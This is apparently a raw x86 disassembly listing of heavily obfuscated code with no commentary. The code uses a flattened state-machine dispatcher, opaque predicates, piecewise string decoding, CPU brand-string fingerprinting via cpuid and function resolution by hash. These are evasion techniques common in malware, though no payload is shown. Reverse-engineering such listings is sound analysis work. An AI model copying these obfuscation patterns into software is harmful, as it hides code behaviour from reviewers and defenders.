jmp 0x435830
mov dword [esi + 8], 0xfff8bf1f
mov dword [esi + 4], 0xede0b7b1
jmp 0x435830
mov eax, dword [esi + 0xf4]
mov eax, dword [esi + 0xf0]
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xec]
mov dword [esi + 0x1c8], eax
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xec]
mov eax, dword [esi + 0xf4]
mov eax, dword [esi + 0xf0]
mov dword [esi + 0x1cc], eax
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xec]
mov eax, dword [esi + 0xf0]
mov eax, dword [esi + 0xf4]
mov dword [esi + 0x1d0], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1c4]
mov dword [eax + 0x20], ecx
mov dword [esi + 4], 0xe2f223ef
jmp 0x435830
mov ecx, dword [esi + 8]
add ecx, 0xffffffde
mov eax, ecx
shr eax, 3
mov dword [esi + 8], eax
mov eax, 0xedd65c39
cmp ecx, 0x240
jae 0x43af23
mov eax, 0xa8ac93ea
jmp 0x43af23
movzx eax, word [esi + 0xa]
imul ecx, eax, 0xc8
mov dword [esi + 8], ecx
mov eax, 0x93d0aca9
cmp ecx, 0x25
jae 0x43af23
mov eax, 0xda9cda1e
jmp 0x43af23
mov eax, dword [esi + 8]
shr eax, 0xf
imul edi, eax, 0x640
mov ebx, edi
shr ebx, 0xd
mov dword [esi + 8], ebx
push 0x43a3
push 0x3100
push ebx
call fcn.00425c83
add esp, 0xc
push ebx
call fcn.00435818
add esp, 4
mov eax, 0x6f32ba4
cmp edi, 0xb4000
jae 0x43af23
mov eax, 0x1f64fb16
jmp 0x43af23
mov eax, dword [esi + 0xc]
add eax, 0xffffffd0
shr eax, 0xe
imul ecx, eax, 0xa140
imul eax, eax
imul edx, eax, 0x452b
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x6b406907
cmp edx, eax
je 0x43b173
mov ecx, 0xa01a6a88
jmp 0x43b173
mov dword [esi + 4], 0xd35847e5
jmp 0x435830
mov eax, dword [esi + 0x168]
lea eax, [eax*4 + 0x4740a0]
mov dword [esi + 0x178], eax
mov dword [esi + 4], 0x47ca0205
jmp 0x435830
push dword [esi + 0x54]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
mov dword [esi + 4], 0x3df9b996
jmp 0x435830
mov eax, dword [esi + 0x6c]
mov dword [esi + 4], 0xc506f8ea
jmp 0x435830
imul ecx, dword [esi + 8], 0xa7
add ecx, 0xe
mov dword [esi + 8], ecx
mov eax, 0x6d1dd2ca
cmp ecx, 0x1d
jb 0x43b136
mov eax, 0x26f04997
jmp 0x43b136
mov eax, dword [esi + 8]
shr eax, 3
add eax, 0xffffff87
shr eax, 3
add eax, 0xe3
mov dword [esi + 8], eax
mov dword [esi + 4], 0xab04b21d
jmp 0x435830
imul eax, dword [esi + 8], 0x10cc0
and eax, 0xfffffc00
imul edi, eax, 0x31
add edi, 0xffffd6d9
mov dword [esi + 8], edi
push edi
push 0x36d3
push 0x23fb
call fcn.00425c83
add esp, 0xc
push edi
push 0x4b74
push 0x5612
call fcn.00425c83
add esp, 0xc
mov dword [esi + 4], 0xaff9186a
jmp 0x435830
mov eax, dword [esi + 0x90]
movzx ecx, word [0x474117]
mov word [eax], cx
mov eax, 2
push eax
push 0x474119
push eax
push dword [esi + 0x90]
call fcn.0043b2c0
add esp, 0x10
mov eax, dword [esi + 0x154]
mov ecx, dword [esi + 0x90]
mov dl, byte [ecx + 2]
mov byte [eax + 2], dl
movzx ecx, word [ecx]
mov word [eax], cx
mov dword [esi + 4], 0xb6a34bc2
jmp 0x435830
mov eax, dword [esi + 8]
mov ecx, 0x1ffff80
and eax, ecx
imul ecx, eax, 0x4e70
mov eax, 0xfe34094c
add ecx, 0x2251000
mov dword [esi + 8], ecx
je 0x43af23
mov eax, 0x508dfb4c
jmp 0x43af23
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x60]
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xbc], eax
mov dword [esi + 4], 0xe99d364
jmp 0x435830
xor edi, edi
mov dword [esi + 8], edi
push 0x4a44
push 0xa34
push edi
call fcn.00425c83
add esp, 0xc
push 0x411b
push 0x521d
push edi
push 0x42e2
call fcn.0043b2c0
add esp, 0x10
mov dword [esi + 4], 0x789b2fa9
jmp 0x435830
mov eax, dword [esi + 0x50]
mov dword [esi + 4], 0x673f437d
jmp 0x435830
mov edi, dword [esi + 8]
mov eax, 0x93
add edi, eax
mov ebx, edi
shr ebx, 2
mov dword [esi + 8], ebx
call fcn.00407763
push ebx
push 0x3a11
push 0x57c8
push 0x57f7
call fcn.0043b2c0
add esp, 0x10
mov eax, 0x375c1a1a
cmp edi, 0x154
jb 0x43b136
mov eax, 0xede0b7b1
jmp 0x43b136
mov eax, dword [esi + 0xc]
shl eax, 0x10
add eax, 0xff68d518
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xb8fc25e5
jmp 0x435830
imul ecx, dword [esi + 8], 0x4e2
add ecx, 0xfffe462e
mov dword [esi + 8], ecx
mov eax, 0x670d9188
cmp ecx, 0x90
jl 0x43af23
mov eax, 0xf562b189
jmp 0x43af23
mov ecx, dword [esi + 0xc]
lea eax, [ecx + 0x1c]
imul eax, eax
imul edx, eax, 0x8053
dec edx
imul ecx, ecx, 0xac00
add ecx, 0xff779baf
mov dword [esi + 0xc], ecx
mov ecx, 0x7e22b5d6
cmp eax, edx
je 0x43b173
mov ecx, 0x229630c
jmp 0x43b173
mov dword [esi + 4], 0xddae6694
jmp 0x435830
mov eax, dword [esi + 0xc]
add eax, 0x5d
shr eax, 9
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5503
dec edx
shl eax, 0xf
add eax, 0x527f2b
mov dword [esi + 0xc], eax
mov eax, 0x86c08b96
cmp edx, ecx
je 0x43b136
mov eax, 0x7a18dbdd
jmp 0x43b136
imul ecx, dword [esi + 8], 0xfb000
add ecx, 0x6a00
mov dword [esi + 8], ecx
mov eax, 0xb6a34bc2
cmp ecx, 0x63
jge 0x43af23
mov eax, 0x896a37df
jmp 0x43af23
mov eax, dword [esi + 8]
shr eax, 5
add eax, 0xffffff5d
shr eax, 2
add eax, 0xfffffe84
shr eax, 9
mov dword [esi + 8], eax
mov ecx, 0xd9c3e8f0
cmp eax, 0xbc
je 0x439f72
mov ecx, 0x10de9247
mov dword [esi + 4], ecx
jmp 0x435830
mov edi, dword [esi + 8]
add edi, 0xffffffd2
shr edi, 0xf
add edi, 0xad
mov dword [esi + 8], edi
push edi
push 0x45e7
push 0x1e2f
push 0x3a9
call fcn.0043b1a0
add esp, 0x10
push 0x4c7e
push 0x42ea
push 0x2d4b
push edi
call fcn.0043b1a0
add esp, 0x10
mov dword [esi + 4], 0x5201ec0c
jmp 0x435830
imul eax, dword [esi + 8], 0x116b
add eax, 0xfffffff3
mov dword [esi + 8], eax
push 0x3f3
push 0x47bc
push 0x3aa2
push eax
call fcn.0043b2c0
add esp, 0x10
mov dword [esi + 4], 0xe2e8a630
jmp 0x435830
mov eax, dword [esi + 0x64]
mov dword [esi + 4], 0x15a09b8c
jmp 0x435830
imul eax, dword [esi + 0xc], 0xef
add eax, 0xffffffa5
imul ecx, eax, 0x5884
imul eax, eax
imul edx, eax, 0xfd1
add ecx, 0xffffff12
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xad5b1702
cmp eax, edx
je 0x43b173
mov ecx, 0x8390bd74
jmp 0x43b173
push 6
push 0x4741f7
push 0xc
push dword [esi + 0xc4]
call fcn.0043b2c0
add esp, 0x10
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0xc4]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x64]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x120]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x198], eax
mov dword [esi + 4], 0xa4597235
jmp 0x435830
mov eax, dword [esi + 0xc]
add eax, 0x1c
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x1aed
dec edx
mov eax, 0xf47aba48
cmp edx, ecx
je 0x43b136
mov eax, 0x3478b7e1
jmp 0x43b136
mov eax, dword [esi + 8]
shl eax, 0xc
mov edi, 0xe5545476
and eax, 0xfe000000
mov dword [esi + 8], eax
je 0x43a0fd
mov edi, 0xfd4792a
push 0x3ef
push 0x284a
push eax
push 0x55f9
call fcn.0043b2c0
add esp, 0x10
mov dword [esi + 4], edi
jmp 0x435830
mov eax, dword [esi + 0xf8]
add eax, 0xc
mov dword [esi + 0x1d8], eax
mov dword [esi + 4], 0x6b38afcd
jmp 0x435830
push dword [esi + 0x58]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
mov dword [esi + 4], 0xd5e1a957
jmp 0x435830
mov edi, dword [esi + 8]
shl edi, 7
add edi, 0x15a0
mov dword [esi + 8], edi
call fcn.00407763
mov eax, 0x6a332555
cmp edi, 0xf9
jge 0x43af23
mov eax, 0x7a18dbdd
jmp 0x43af23
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x188]
mov dword [esi + 0x18c], eax
mov dword [esi + 4], 0xfc921bf5
jmp 0x435830
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x78], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x7c], eax
mov dword [esi + 4], 0x524f7fc6
jmp 0x435830
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x148], eax
mov dword [esi + 4], 0x719fe0ff
jmp 0x435830
mov eax, dword [esi + 0x1cc]
mov ecx, dword [esi + 0x1d4]
mov dword [ecx], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1d0]
mov dword [eax + 0x2c], ecx
mov eax, dword [esi + 0x68]
mov dword [esi + 4], 0xa8be00b9
jmp 0x435830
mov ecx, dword [esi + 8]
mov eax, 0xffffff45
add ecx, eax
mov dword [esi + 8], ecx
mov eax, 0x4a38f21
cmp ecx, 0xd9
jae 0x43af23
mov eax, 0x3361bb01
jmp 0x43af23
mov edi, dword [esi + 8]
shl edi, 6
add edi, 0x2f40
and edi, 0xfffff000
add edi, 0xffffffb3
mov eax, edi
shr eax, 0xb
mov dword [esi + 8], eax
push eax
call fcn.00435818
add esp, 4
mov eax, 0x6d1dd2ca
cmp edi, 0x4b000
jb 0x43af23
mov eax, 0x44c10536
jmp 0x43af23
mov eax, dword [esi + 0xc]
shl eax, 0xb
add eax, 0xfff9af64
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xb7f4f9c
jmp 0x435830
mov eax, dword [esi + 0xc]
shr eax, 0x12
add eax, 0xffffffab
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xdd53c68
jmp 0x435830
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x44], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x48], eax
mov dword [esi + 4], 0x41e179c3
jmp 0x435830
mov ecx, dword [esi + 0xc]
mov eax, 0xffffff14
add ecx, eax
shr ecx, 0xc
lea eax, [ecx + 0xa5]
imul eax, eax
imul ecx, ecx, 0xfb
imul edx, eax, 0x5889
dec edx
add ecx, 0xffffddda
mov dword [esi + 0xc], ecx
mov ecx, 0x9c2fd435
cmp eax, edx
je 0x43b173
mov ecx, 0x9c9ae2ee
jmp 0x43b173
mov eax, dword [esi + 8]
and eax, 0x3f
shl eax, 7
or eax, 0x19
mov dword [esi + 8], eax
mov dword [esi + 4], 0x15a09b8c
jmp 0x435830
mov eax, dword [esi + 0xc]
shr eax, 6
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x621
dec edx
mov eax, 0xab637620
cmp edx, ecx
je 0x43b136
mov eax, 0x8410c221
jmp 0x43b136
mov ebx, dword [esi + 8]
mov edi, ebx
shr edi, 7
add edi, 0xfffffeb1
mov dword [esi + 8], edi
push 0x4d3b
push 0x34f2
push edi
push 0x5781
call fcn.0043b1a0
add esp, 0x10
push edi
push 0x32fa
push 0x4bd1
call fcn.00425c83
add esp, 0xc
mov eax, 0xb749251a
cmp ebx, 0xa800
jae 0x43b136
mov eax, 0x26aae736
jmp 0x43b136
mov eax, dword [esi + 0x30]
mov dword [eax], 0x8000
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x9c], eax
mov dword [esi + 4], 0x58d7c070
jmp 0x435830
mov eax, dword [esi + 0xc]
lea ecx, [eax + eax*8]
lea ecx, [ecx + ecx*2]
add ecx, eax
add eax, ecx
add eax, 0xffffec84
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x1069
dec edx
mov eax, 0x5616715c
cmp ecx, edx
je 0x43b136
mov eax, 0x8792d193
jmp 0x43b136
mov edi, dword [esi + 8]
shl edi, 0xd
add edi, 0x144000
mov dword [esi + 8], edi
push 0x421
push edi
push 0x409b
push 0x2bdc
call fcn.0043b1a0
add esp, 0x10
push 0x50d0
push edi
push 0x5a07
push 0x3ebe
call fcn.0043b1a0
add esp, 0x10
mov dword [esi + 4], 0x1b9c2852
jmp 0x435830
mov eax, dword [esi + 0xc]
shl eax, 0xd
add eax, 0xffeba000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xd426a01b
jmp 0x435830
mov dword [esi + 4], 0x127c5d7
jmp 0x435830
mov eax, dword [esi + 0xc]
shl eax, 7
or eax, 0x2c
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x99c5c021
jmp 0x435830
mov dword [esi + 4], 0x8b26ba60
jmp 0x435830
mov eax, dword [esi + 8]
shl eax, 0xe
add eax, 0x310000
mov dword [esi + 8], eax
push eax
call fcn.00435818
add esp, 4
mov dword [esi + 4], 0xe2af09d8
jmp 0x435830
mov eax, dword [esi + 0xc]
mov ecx, 0x90
add eax, ecx
mov ecx, eax
imul ecx, eax
shr eax, 0xe
imul edx, ecx, 0x7133
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x99fadd29
cmp edx, ecx
je 0x43b136
mov eax, 0x1d8ef52a
jmp 0x43b136
imul eax, dword [esi + 8], 0x22000000
add eax, 0xf7ffd600
mov dword [esi + 8], eax
push eax
call fcn.00435818
add esp, 4
mov dword [esi + 4], 0x8e6e61a8
jmp 0x435830
mov eax, dword [esi + 0x48]
mov dword [esi + 4], 0x475d0cae
jmp 0x435830
mov eax, dword [esi + 8]
shl eax, 5
lea edi, [eax + eax*4]
mov ebx, edi
shr ebx, 0xc
mov dword [esi + 8], ebx
push ebx
call fcn.00435818
add esp, 4
push 0x2f13
push 0xc71
push 0x5af7
push ebx
call fcn.0043b2c0
add esp, 0x10
mov eax, 0x6f32ba4
cmp edi, 0x71000
jae 0x43b136
mov eax, 0xa87d953
jmp 0x43b136
mov eax, dword [esi + 8]
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
add ecx, eax
add ecx, 0x222
mov dword [esi + 8], ecx
mov eax, 0xeb1fd2bb
cmp ecx, 0x40
jl 0x43af23
mov eax, 0x5d2b445
jmp 0x43af23
mov edi, dword [esi + 8]
add edi, 0xffffff8d
mov dword [esi + 8], edi
push 0x495a
push 0x274
push 0x4dca
push edi
call fcn.0043b2c0
add esp, 0x10
mov eax, 0x44c10536
cmp edi, 0x37
jge 0x43a608
jmp 0x43af23
mov ebx, dword [esi + 8]
shl ebx, 4
add ebx, 0x770
shr ebx, 0xe
add ebx, 0x88
mov dword [esi + 8], ebx
push ebx
push 0x2032
push 0x5d1c
push 0x56b5
call fcn.0043b2c0
add esp, 0x10
push ebx
call fcn.00435818
add esp, 4
mov eax, 0xb3955f7b
cmp ebx, 0xfa
je 0x43af23
mov eax, 0xc790f37e
jmp 0x43af23
mov dword [esi + 4], 0x35ce95f3
jmp 0x435830
mov eax, dword [esi + 0xc]
add eax, 0x65
shr eax, 2
add eax, eax
add eax, 0xffffff14
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xa8ac93ea
jmp 0x435830
mov eax, dword [esi + 0x5c]
mov eax, dword [esi + 0x58]
mov dword [esi + 4], 0xa16d3975
jmp 0x435830
mov eax, dword [esi + 0x74]
mov dword [esi + 4], 0x369d02bb
jmp 0x435830
mov eax, dword [esi + 0xc]
shr eax, 6
and eax, 0xfffffff8
imul eax, eax, 0x1600
add eax, 0xfffa9600
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x427e6b9c
jmp 0x435830
push eax
mov eax, esp
mov dword [esi + 0x90], eax
mov eax, dword [esi + 0x90]
mov byte [eax + 2], 0
mov dword [esi + 4], 0xd9df720d
jmp 0x435830
mov eax, dword [esi + 0x48]
mov eax, dword [esi + 0x44]
mov dword [esi + 4], 0x8efadeee
jmp 0x435830
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xf8], eax
mov dword [esi + 4], 0xa0154fbc
jmp 0x435830
mov eax, dword [esi + 0xc]
shl eax, 7
add eax, 0x2680
shr eax, 0xd
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xe663ea5a
jmp 0x435830
imul ebx, dword [esi + 8], 0x69
add ebx, 0x2b11
mov edi, ebx
shr edi, 3
mov dword [esi + 8], edi
push edi
push 0xba8
push 0x4fd9
push 0x5927
call fcn.0043b1a0
add esp, 0x10
push 0x2043
push 0x4abd
push 0x3467
push edi
call fcn.0043b2c0
add esp, 0x10
mov eax, 0xaff9186a
cmp ebx, 0x3c0
jae 0x43af23
mov eax, 0xf44ecfb2
jmp 0x43af23
mov eax, dword [esi + 0xc]
add eax, 0x1a
mov ecx, eax
shr ecx, 0xd
imul eax, eax
imul ecx, ecx, 0xaf
imul edx, eax, 0x380b
dec edx
add ecx, 0xffffff60
mov dword [esi + 0xc], ecx
mov ecx, 0x83fc6d78
cmp edx, eax
je 0x43b173
mov ecx, 0x94fbdada
jmp 0x43b173
mov eax, dword [esi + 0xc]
add eax, 0xfffffffa
shr eax, 6
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x73dd
dec edx
shl eax, 0xd
add eax, 0x28a000
mov dword [esi + 0xc], eax
mov eax, 0x8eaab81d
cmp ecx, edx
je 0x43b136
mov eax, 0xc790f37e
jmp 0x43b136
mov eax, dword [esi + 0x150]
mov ecx, dword [esi + 0x8c]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push str.cabinaC8E0__GitHub
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
mov dword [esi + 4], 0xc7e3c84f
jmp 0x435830
imul eax, dword [esi + 8], 0x1600
add eax, 0xffffff8c
mov dword [esi + 8], eax
push 0x25dc
push 0x3caa
push eax
push 0xe5a
call fcn.0043b2c0
add esp, 0x10
mov dword [esi + 4], 0xc5819afb
jmp 0x435830
imul edi, dword [esi + 8], 0x18dd00
mov dword [esi + 8], edi
call fcn.00407763
mov eax, 0xd7d12a07
cmp edi, 0x31
jl 0x43af23
mov eax, 0x59e1d201
jmp 0x43af23
mov eax, dword [esi + 8]
shr eax, 0xb
imul eax, eax, 0x8256000
or eax, 0xab
mov dword [esi + 8], eax
mov dword [esi + 4], 0xe67f83a
jmp 0x435830
push eax
push eax
mov eax, esp
mov dword [esi + 0x98], eax
mov eax, dword [esi + 0x98]
add eax, 6
mov dword [esi + 0x15c], eax
mov dword [esi + 4], 0x472e3cc0
jmp 0x435830
mov ecx, dword [esi + 8]
shr ecx, 0xa
add ecx, 0xb3
mov dword [esi + 8], ecx
mov eax, 0x3276d90c
cmp ecx, 0xef
je 0x43af23
mov eax, 0x2132dcdb
jmp 0x43af23
mov ecx, dword [esi + 0xc]
imul eax, ecx, 0x59
imul eax, eax
imul ecx, ecx, 0x2a6a00
imul edx, eax, 0x8215
dec edx
add ecx, 0xffffff11
mov dword [esi + 0xc], ecx
mov ecx, 0x1b9c2852
cmp eax, edx
je 0x43b173
mov ecx, 0xfbe92400
jmp 0x43b173
mov edi, dword [esi + 8]
shl edi, 0xb
add edi, 0xfffbd8d5
shr edi, 0xf
mov dword [esi + 8], edi
push edi
call fcn.00435818
add esp, 4
mov eax, 0xb04edff9
cmp edi, 0x3c
je 0x43af23
mov eax, 0x1c21aa61
jmp 0x43af23
mov eax, dword [esi + 8]
lea edi, [eax + eax]
add edi, 0xffffff85
mov dword [esi + 8], edi
push 0x4e72
push edi
push 0x5764
push 0x52c3
call fcn.0043b1a0
add esp, 0x10
mov eax, 0x5ab416d0
cmp edi, 0x6d
je 0x43b136
mov eax, 0xd6d9a043
jmp 0x43b136
mov eax, dword [esi + 0x184]
mov byte [eax], 0
mov edi, 0x14
push edi
push 0x4741d0
push dword [esi + 0xbc]
call fcn.004441d0
add esp, 0xc
push 7
push 0x4741e4
push edi
push dword [esi + 0xbc]
call fcn.0043b2c0
add esp, 0x10
push 0x15
push dword [esi + 0xbc]
push dword [esi + 0x60]
call fcn.004441d0
add esp, 0xc
mov dword [esi + 4], 0x8e6e61a8
jmp 0x435830
mov eax, dword [esi + 8]
add eax, eax
add eax, 0xfffffff1
mov dword [esi + 8], eax
push 0x5afe
push 0x5207
push 0x5b02
push eax
call fcn.0043b2c0
add esp, 0x10
mov dword [esi + 4], 0x56e558fd
jmp 0x435830
mov eax, dword [esi + 0x15c]
mov byte [eax], 0
mov eax, dword [esi + 0x98]
movzx ecx, word [0x47411f]
mov word [eax + 4], cx
mov ecx, dword [0x47411b]
mov dword [eax], ecx
push 4
push 0x474121
push 6
push dword [esi + 0x98]
call fcn.0043b2c0
add esp, 0x10
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x98]
mov edx, dword [ecx]
mov ecx, dword [ecx + 3]
mov dword [eax + 3], ecx
mov dword [eax], edx
push dword [esi + 0x2c]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x110]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0x5616715c
jmp 0x435830
push 6
push 0x47422d
push 0x1d
push dword [esi + 0x100]
call fcn.0043b2c0
add esp, 0x10
mov dword [esi + 4], 0x3266c6ca
jmp 0x435830
push 5
push 0x468c08
push 0xc
push dword [esi + 0xfc]
call fcn.0043b1a0
add esp, 0x10
mov dword [esi + 4], 0x9c15aef3
jmp 0x435830
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe4]
mov dword [esi + 0x1bc], eax
mov dword [esi + 4], 0x579967ae
jmp 0x435830
mov dword [esi + 4], 0x455283a
jmp 0x435830
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x88]
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x79322a22
jmp 0x435830
mov eax, dword [esi + 0x8c]
mov byte [eax + 0xf], 0
mov edi, 0xf
push edi
push 0x474100
push dword [esi + 0x8c]
call fcn.004441d0
add esp, 0xc
push 8
push 0x47410f
push edi
push dword [esi + 0x8c]
call fcn.0043b2c0
add esp, 0x10
mov dword [esi + 4], 0xa0519cc0
jmp 0x435830
mov eax, dword [esi + 8]
lea eax, [eax + eax*8]
shl eax, 0xc
add eax, 0xffff5800
mov dword [esi + 8], eax
mov dword [esi + 4], 0x5616715c
jmp 0x435830
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x88], eax
mov eax, dword [esi + 0x88]
mov byte [eax + 0xb], 0
mov eax, dword [esi + 0x88]
mov cl, byte [0x4740fa]
mov byte [eax + 0xa], cl
movzx ecx, word [0x4740f8]
mov word [eax + 8], cx
mov ecx, dword [0x4740f4]
mov dword [eax + 4], ecx
mov ecx, dword [0x4740f0]
mov dword [eax], ecx
push 5
push 0x4740fb
push 0xb
push dword [esi + 0x88]
call fcn.0043b2c0
add esp, 0x10
mov dword [esi + 4], 0xede0b7b1
jmp 0x435830
mov eax, dword [esi + 0x1c]
mov eax, dword [esi + 0x54]
mov dword [esi + 4], 0x3e76fd7f
jmp 0x435830
mov eax, dword [esi + 0xb4]
movzx ecx, word [0x4741b9]
mov word [eax + 0xc], cx
mov ecx, dword [0x4741b5]
mov dword [eax + 8], ecx
mov ecx, dword [0x4741b1]
mov dword [eax + 4], ecx
mov ecx, dword [0x4741ad]
mov dword [eax], ecx
push 8
push 0x4741bb
push 0xe
push dword [esi + 0xb4]
call fcn.0043b2c0
add esp, 0x10
mov eax, dword [esi + 0x58]
mov ecx, dword [esi + 0xb4]
mov edx, dword [ecx + 0xb]
mov dword [eax + 0xb], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x173755c
jmp 0x435830
imul eax, dword [esi + 8], 0xe800
add eax, 0xfffc4b3e
mov dword [esi + 8], eax
mov dword [esi + 4], 0x82fc375f
jmp 0x435830
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0xc8], eax
mov dword [esi + 0xcc], ebx
mov dword [esi + 0xd0], ecx
mov dword [esi + 0xd4], edx
mov dword [esi + 4], 0x74b82696
jmp 0x435830
mov dword [esi + 4], 0xa098f6f1
jmp 0x435830
mov eax, dword [esi + 0x1a8]
mov ecx, dword [esi + 0x1ac]
mov dword [ecx], eax
mov eax, 0x80000003
xor ecx, ecx
cpuid
mov dword [esi + 0xd8], eax
mov dword [esi + 0xdc], ebx
mov dword [esi + 0xe0], ecx
mov dword [esi + 0xe4], edx
mov dword [esi + 4], 0x4e4af96b
jmp 0x435830
push 8
push 0x468ba8
push 0xc
push dword [esi + 0x9c]
call fcn.0043b1a0
add esp, 0x10
push dword [esi + 0x9c]
push 0x23fef64a
call fcn.0043eca4
add esp, 8
push dword [esi + 0x30]
push dword [esi + 0x114]
call eax
mov dword [esi + 4], 0x81e12f62
jmp 0x435830
push dword [esi + 0x50]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0xe680363f
jmp 0x435830
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xb0], eax
mov dword [esi + 4], 0x323e6350
jmp 0x435830
push dword [esi + 0x60]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
mov dword [esi + 4], 0x2f07c3be
jmp 0x435830
imul eax, dword [esi + 0xc], 0x94a7
shr eax, 5
lea ecx, [eax + 0xa0]
imul eax, eax
shr ecx, 9
imul edx, eax, 0x4e4f
imul ecx, ecx, 0x31
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xbba16f90
cmp eax, edx
je 0x43b173
mov ecx, 0x9858f92c
jmp 0x43b173
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x144], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x84], eax
mov dword [esi + 4], 0xd914716f
jmp 0x435830
push dword [esi + 0x48]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0xacd3253b
jmp 0x435830
imul eax, dword [esi + 0xc], 0x3b0
add eax, 0x23c
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x444b1400
jmp 0x435830
mov dword [esi + 4], 0xb0fa851f
jmp 0x435830
mov eax, dword [esi + 0xc]
shl eax, 0xf
or eax, 0xa7
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x6d5ca6a6
jmp 0x435830
mov eax, dword [esi + 0x1c]
mov dword [esi + 4], 0xc5819afb
jmp 0x435830
push 1
push 0x8000
call fcn.0044f313
add esp, 8
mov dword [esi + 0x110], eax
mov dword [esi + 4], 0x959ee4ba
jmp 0x435830
push dword [esi + 0x16c]
push dword [esi + 0x170]
push dword [esi + 0x174]
push dword [esi + 0x17c]
push dword [esi + 0xb0]
push 0x7ff
push dword [esi + 0x118]
call fcn.00425c83
add esp, 0x1c
mov eax, dword [esi + 0x58]
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xb4], eax
mov eax, dword [esi + 0xb4]
mov byte [eax + 0xe], 0
mov dword [esi + 4], 0x39083938
jmp 0x435830
mov edi, dword [esi + 8]
add edi, 0xffffffa7
mov eax, edi
shr eax, 6
add eax, 0x34
mov dword [esi + 8], eax
push 0x5b03
push 0x307c
push 0x2f95
push eax
call fcn.0043b2c0
add esp, 0x10
call fcn.00407763
mov eax, 0x2d0cd768
cmp edi, 0x3040
jae 0x43af23
mov eax, 0x5966d6ac
mov dword [esi + 4], eax
jmp 0x435830
mov eax, dword [esi + 8]
lea eax, [eax + eax*4]
lea ecx, [eax*8 - 0xde]
shr ecx, 0xf
mov dword [esi + 8], ecx
mov eax, 0xab04b21d
cmp ecx, 0x15
je 0x43b136
mov eax, 0xb6a34bc2
jmp 0x43b136
mov ecx, dword [esi + 0xc]
mov eax, ecx
